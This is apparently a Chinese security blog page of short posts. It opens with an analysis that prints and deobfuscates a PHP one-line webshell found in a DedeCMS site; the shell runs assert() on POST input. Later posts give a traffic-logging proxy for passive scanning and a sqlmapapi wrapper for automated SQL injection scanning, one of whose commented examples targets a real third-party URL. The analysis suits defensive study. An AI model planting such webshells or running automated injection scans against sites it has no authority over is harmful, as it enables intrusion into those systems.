一个PHP一句话变形木马分析

某公司使用dedecms做的站,是某网络公司给做的,里面发现了一段奇迹的代码,看起来好复杂,根本就不认识,不过这个木马都过不了狗,在传输过程中更没有混淆编码,现在肯定淘汰了,估计很早时候弄的这个一句话木马吧,原型如下:

 

欢迎使用美创科技DedeCMS!

联系电话:1508701022<!--?php @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r"; @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t"; @$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"} [/*-/*-*/0/*-/*-*/-/*-/*-*/12/*-/*-*/-/*-/*-*/15/*-/*-*/]);?-->1

这个还好,还是按部就班的分解:

<?php
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
//$_=sser;
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
//$_ = assert
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"} [/*-/*-*/0/*-/*-*/-/*-/*-*/12/*-/*-*/-/*-/*-*/15/*-/*-*/]);
//assert(${_POST}[01215]);

?>

这样分析下来就很明确了,/*-/*-*/ 是用来迷惑眼睛的,其实是注释符;
解析后实际中的代码就是 @assert(${“_POST”}[01215]);

这个代码貌似存在一个问题,就是 $_POST[‘01215’] 和 $_POST[01215] 的区别,如果加引号了,直接使用引号里面的参数就行了,如果不含有引号,可能是一个变量的引用,首先会查找变量的引用,如果查找不到才会直接使用这个值作为参数.

python yield生成器的理解

python yield生成器,在爬虫框架Scrapy时,都是用的yield,而在实际使用中确没有使用过,网上说的都是生成斐波那契數列,可能是抄袭,反正对于数学不好的人看了是不好理解的,yield的应用场景是在一个函数需要返回一个很大的可迭代对象,如果一次返回的话会占用很大的内存,做爬虫如果数据量较少感觉不到,如果一个函数需要返回亿万级数据,一次返回结果后,还要去迭代这个列表,占用内存比较大,用yidld就可用解决这个问题,貌似实现连接池用yield噢,简单写了个实例代码,如下:

#coding=utf-8
import sys

def test():
    for i in xrange(5):
        yield i

s1 = test()
s2 = test()

print type(s1),s1,type(s2),s2

try:
    print "依次调用--"
    print s1.next(),s1.next(),s1.next(),s1.next(),s1.next(),s1.next(),#next迭代器内置对象
except Exception, e:
    print "\n迭代调用--"
    for i in s2:
        print i

python代理服务器实现被动式扫描demo

python实现代理服务器,可以作为中间人获取客户端的流量记录后再转发到客户端去,记录流量后就可用实现被动式扫描了,代码如下:

#-*- coding: UTF-8 -*-
import sys,socket,select,thread
from multiprocessing import Process

#代理转发服务类
class Proxy:
    "代理服务器"
    def __init__(self,soc):
        #接受客户端的连接
        self.client,_=soc.accept()
        #定义新开连接
        self.target=None
        #定义请求url
        self.request_url=None
        #定义接受TCP套接字的最大数据
        self.BUFSIZE=102400
        #定义HTTP方法
        self.method=None
        #定义新开HOST
        self.targetHost=None
        #定义请求头
        #self.headers=None
    #获取转发请求
    def getClientRequest(self):
        #接受TCP套接字的数据,返回request
        request=self.client.recv(self.BUFSIZE)
        #print request,"\n"

        #如果没有数据
        if not request:
            return None
        #如果有数据
        else:
            with open("access.log","a+") as f:
                f.write(request)
        #查找换行
        cn=request.find('\n')
        #取换行前面的一行
        firstLine=request[:cn]
        #打印##############################################################################
        print firstLine[:len(firstLine)-9] #firstLine #带协议
        #空格拆分
        line=firstLine.split()
        #取HTTP请求方式
        self.method=line[0]
        #取HTTP请求HOST
        self.targetHost=line[1]
        #返回请求
        return request
    #转发客户端请求
    def commonMethod(self,request):
        #获取访问域名
        tmp=self.targetHost.split('/')
        net=tmp[0]+'//'+tmp[2]
        print net
        request=request.replace(net,'')
        #print request
        #获取请求地址
        targetAddr=self.getTargetInfo(tmp[2])
        #print targetAddr #('192.168.1.4', 80)
        try:
            #获取ip
            (fam,_,_,_,addr)=socket.getaddrinfo(targetAddr[0],targetAddr[1])[0]
        except Exception as e:
            print e
            return
        #代理服务器创建socket
        self.target=socket.socket(fam)
        #建立连接
        self.target.connect(addr)
        #发送request
        self.target.send(request)
        #非阻塞模式
        self.nonblocking()

    #对于CONNECT处理可以添加在这里
    def connectMethod(self,request):
        pass
    #类调用方法
    def run(self):
        #获取转发请求
        request=self.getClientRequest()
        if request:
            #如果是HTTP
            if self.method in ['GET','POST','PUT',"DELETE",'OPETIONS']:
                #转发客户端请求
                self.commonMethod(request)
            #如果不认识,则用CONNECT方法连接
            elif self.method=='CONNECT':
                self.connectMethod(request)
    #非阻塞模式,据说只支持Unix,不支持Windows
    def nonblocking(self):
        #定义输入列表
        inputs=[self.client,self.target]
        #消息循环
        while True:
            #此处会被select模块阻塞,只有当监听的三个参数发生变化时,select才会返回
            readable,writeable,errs=select.select(inputs,[],inputs,3)
            if errs:
                break
            #遍历队列
            for soc in readable:
                #接受数据
                data=soc.recv(self.BUFSIZE)
                if data:
                    #判断是不是客户端连接
                    if soc is self.client:
                        self.target.send(data)
                    #判断是不是代理服务器连接
                    elif soc is self.target:
                        self.client.send(data)
                else:
                    break
        #关闭连接
        self.client.close()
        self.target.close()
    #获取请求地址
    def getTargetInfo(self,host):
        port=0
        site=None
        #判断:在host中,http协议
        if ':' in host:
            # : 号拆分
            tmp=host.split(':')
            #site
            site=tmp[0]
            #port
            port=int(tmp[1])
        else:
            site=host
            port=80
        return site,port


if __name__=='__main__':  
    host = '127.0.0.1'
    port = 8080
    """ #增加功能
    White_list = None #白名单
    Black_list = None #黑名单
    Filter_extension = ['jpg','png','css',] #过滤扩展名
    """
    #创建代理服务 socket
    server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    #setsockopt(level,optname,value)
    #level:选项定义的层次。支持SOL_SOCKET、IPPROTO_TCP、IPPROTO_IP和IPPROTO_IPV6。
    #optname:需设置的选项。
    #value:设置选项的值。
    #http://www.cnblogs.com/xiaowuyi/archive/2012/08/06/2625509.html
    server.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
    #绑定主机端口
    server.bind((host,port))
    #设置连接数
    server.listen(5)
    #消息循环
    while True:
        #顺序运行
        thread.start_new_thread(Proxy(server).run,())
        #多进程
        #p=Process(target=Proxy(server).run, args=())
        #p.start()

sqlmap api试用

之前做了个百度爬虫,想用百度爬虫自动对接poc和exp,找了下sqlmapapi,简单写了个类,爬虫可用自动调用,自动化扫描漏洞噢,代码如下:

#coding=utf-8
import sys,requests,time,json
from urlparse import urljoin
reload(sys)
sys.setdefaultencoding( "utf-8" )

#python sqlmapapi.py -s -p 8775
class sqlmapapi(object):
  """smapapi for spider"""

  #定义发送JSON格式头
  headers = {"Content-Type":"application/json",}

  def __init__(self,api,url):
    self.api = api
    self.url = url
    self.run()
  #
  def __str__(self): #repr
    return "%s" % self.url

  #创建任务
  def get_queue(self):
      data = requests.get(urljoin(self.api,"/task/new")).content
      #print data
      queue_new_get = json.loads(data)
      if str(queue_new_get["success"]) == "True" :
          return queue_new_get["taskid"]
  #任务信息
  def get_data(self):
    data = json.loads(requests.get(url=urljoin(self.api,"scan/")+self.task_id+"/data").content)
    return data['data']
  #执行任务过程
  def run(self):
    #新建任务
    self.task_id = self.get_queue()
    print u'SQLMAP检测ID:',self.task_id
    data = {
      u'url':self.url,
    }
    #启动任务
    requests.post(url=urljoin(self.api,"scan/")+self.task_id+"/start",data=json.dumps(data),headers=self.headers)
    #检测任务执行完毕
    while True:
      #循环延时加载
      time.sleep(3)
      #获取任务状态
      status = json.loads(requests.get(url=urljoin(self.api,"scan/")+self.task_id+"/status",headers=self.headers).content)
      #print status['status']
      #任务结束
      if "terminated" in status['status'] :
        #获取漏洞状态
        res = self.get_data()
        #print res
        #删掉任务
        requests.get(url=urljoin(self.api,"scan/")+self.task_id+"/delete")
        if len(res):
          #print len(res)
          print u"+++++++++++++++++++++++++发现漏洞++++++++++++++++++++++++++"
          return self.url
        else:
          print u"END"
          self.url=''
          return self.url
  #保存结果
  def save_result(self):
      with open('results.txt','a+') as f:
        f.write(self.url+'\n')

"""
s1=sqlmapapi(api = "http://127.0.0.1:8775/",url="http://127.0.0.1")
s2=sqlmapapi(api = "http://127.0.0.1:8775/",url="http://www.scude.cc/scu/xyyw/xyyw.jsp?id=16915")
print len(str(s1)),s1
print len(str(s2)),s2
"""





"""
delete_get = "/task/taskid/delete" #删除任务
list_get ="/admin/taskid/list" #任务列表
flush_get = "/admin/taskid/flush" # 清除所有任务
get_post = "/option/taskid/get" #获取任务信息
set_post ="/option/taskid/set" #设置任务信息

stop_get = "/scan/taskid/stop" # 停止任务
kill_get = "/scan/taskid/kill" # 杀掉任务线程
status_get = "/scan/taskid/status" #任务状态
data_get = "/scan/taskid/data" #任务信息
log_get = "/scan/taskid/log/" #任务日志
"""

Debian Python 多版本共存 pyenv

#安装python多版本共存管理 pyenv
apt-get install curl
curl -L https://raw.githubusercontent.com/yyuu/pyenv-installer/master/bin/pyenv-installer | bash

#工作环境中添加
vi ~/.bashrc

# Load pyenv automatically by adding
# the following to ~/.bash_profile:

export PATH=”/root/.pyenv/bin:$PATH”
eval “$(pyenv init -)”
eval “$(pyenv virtualenv-init -)”

#退出重新打开控制台
pyenv install –list #查看可安装的版本

pyenv install 3.1 #安装3.1
pyenv install 2.7.11 #安装2.7.11

pyenv global 3.1 #切换为3.1版本为当前环境

pyenv version #查看当前版本
pyenv versions #查看已安装的python版本

跨域资源共享 CORS 发ajax请求

为了方便多个域名做跨域请求,于是在response有了??Access-Control-Allow-Origin属性,这个属性值可以定制需要跨域的域名,也支持通配符*,如果在response中为*,则可以做跨域请求,验证代码如下:

<script src="http://0535code.com/wp-content/themes/d8/js/jquery.js?ver=3.0"></script>
<script type="text/javascript">  
var url ="http://0535code.com/"
//装入页面
$(window).load(function() {
  start();
});
function start(){
  $.ajax({
           url:url,
           type:"POST",
           success:function(data){//ajax返回的数据
            //var result = data;
            //alert(result);
           },
      });
}
</script>

用Firebug 查看ajax发请求是否成功即可。